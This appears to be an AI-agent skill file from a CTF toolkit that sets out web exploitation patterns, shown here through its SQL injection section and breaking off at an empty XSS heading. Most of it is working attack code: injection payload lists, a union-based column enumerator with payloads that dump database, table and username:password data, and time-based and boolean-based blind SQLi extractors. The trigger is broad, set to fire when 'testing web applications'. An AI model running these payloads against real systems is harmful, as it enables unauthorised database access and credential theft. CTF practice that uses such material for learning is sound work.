---
name: web-exploits
description: >
Web vulnerability testing patterns for SQL injection, XSS, CSRF, LFI, SSTI,
and file upload bypasses in CTF challenges.
Trigger: When testing web applications, SQL injection, XSS, or file uploads.
license: MIT
metadata:
author: ctf-arsenal
version: "1.0"
category: web-exploitation
---
# Web Exploitation Patterns
## When to Use
Load this skill when:
- Testing web applications for vulnerabilities
- Exploiting SQL injection, XSS, or CSRF
- Bypassing file upload restrictions
- Testing for LFI/RFI (Local/Remote File Inclusion)
- Exploiting SSTI (Server-Side Template Injection)
- Manipulating JWT tokens
- Analyzing web traffic with Burp Suite
## SQL Injection
### Detection and Exploitation
```python
import requests
# Test for SQL injection
payloads = [
"'",
"' OR '1'='1",
"' OR '1'='1'--",
"' OR '1'='1' /*",
"admin' --",
"admin' #",
"' UNION SELECT NULL--",
]
for payload in payloads:
response = requests.post(url, data={'username': payload, 'password': 'test'})
if "error" in response.text or "mysql" in response.text.lower():
print(f"[!] Vulnerable to: {payload}")
```
### Union-Based SQLi
```python
# Step 1: Find number of columns
for i in range(1, 20):
payload = f"' UNION SELECT {','.join(['NULL']*i)}--"
response = requests.get(f"{url}?id={payload}")
if "error" not in response.text:
print(f"[+] Number of columns: {i}")
break
# Step 2: Extract data
payloads = [
"' UNION SELECT 1,version(),3--",
"' UNION SELECT 1,database(),3--",
"' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--",
"' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--",
"' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--",
]
```
### Blind SQLi
```python
# Time-based blind SQLi
import time
def time_based_sqli(url, param):
"""Check if parameter is vulnerable to time-based SQLi"""
payload = f"' AND SLEEP(5)--"
start = time.time()
response = requests.get(f"{url}?{param}={payload}")
elapsed = time.time() - start
if elapsed >= 5:
print(f"[+] Time-based SQLi confirmed on {param}")
return True
return False
# Boolean-based blind SQLi
def boolean_based_sqli(url):
"""Extract data character by character"""
result = ""
for i in range(1, 100): # Max 100 characters
for c in range(32, 127): # ASCII printable
payload = f"' AND ASCII(SUBSTRING(database(),{i},1))={c}--"
response = requests.get(f"{url}?id={payload}")
if "Welcome" in response.text: # Success indicator
result += chr(c)
print(f"[+] Found: {result}")
break
else:
break
return result
```
## Cross-Site Scripting (XSS)
### Reflected XSS
```javascript
// Basic payloads